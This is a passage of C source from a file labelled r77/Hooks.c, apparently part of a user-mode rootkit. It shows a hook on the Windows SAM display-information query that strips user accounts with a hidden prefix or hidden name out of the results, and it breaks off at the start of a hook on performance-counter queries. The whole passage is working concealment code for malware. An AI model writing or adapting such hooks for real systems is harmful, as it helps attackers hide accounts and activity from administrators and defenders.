Function HookedSamQueryDisplayInformation

r77/Hooks.c:818–839

	return status;
}
static NTSTATUS NTAPI HookedSamQueryDisplayInformation(HANDLE domainHandle, NT_DOMAIN_DISPLAY_INFORMATION displayInformation, ULONG index, ULONG entryCount, ULONG preferredMaximumLength, PULONG totalAvailable, PULONG totalReturned, PULONG returnedEntryCount, LPVOID *sortedBuffer)
{
	NTSTATUS status = OriginalSamQueryDisplayInformation(domainHandle, displayInformation, index, entryCount, preferredMaximumLength, totalAvailable, totalReturned, returnedEntryCount, sortedBuffer);

	if (NT_SUCCESS(status) && sortedBuffer && *sortedBuffer && returnedEntryCount && displayInformation == DomainDisplayUser)
	{
		PNT_SAMPR_DISPLAY_USER users = (PNT_SAMPR_DISPLAY_USER)*sortedBuffer;
		for (ULONG i = 0; i < *returnedEntryCount; i++)
		{
			users[i].AccountName.Buffer[users[i].AccountName.Length / sizeof(WCHAR)] = L'\0';

			if (HasPrefix(users[i].AccountName.Buffer) || IsUserNameHidden(users[i].AccountName.Buffer))
			{
				memmove(&users[i], &users[i + 1], (*returnedEntryCount - i - 1) * sizeof(NT_SAMPR_DISPLAY_USER));
				(*returnedEntryCount)--;
				i--;
			}
		}
	}

	return status;
}
static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer)
{
	PDH_STATUS status = OriginalPdhGetRawCounterArrayW(counter, bufferSize, itemCount, itemBuffer);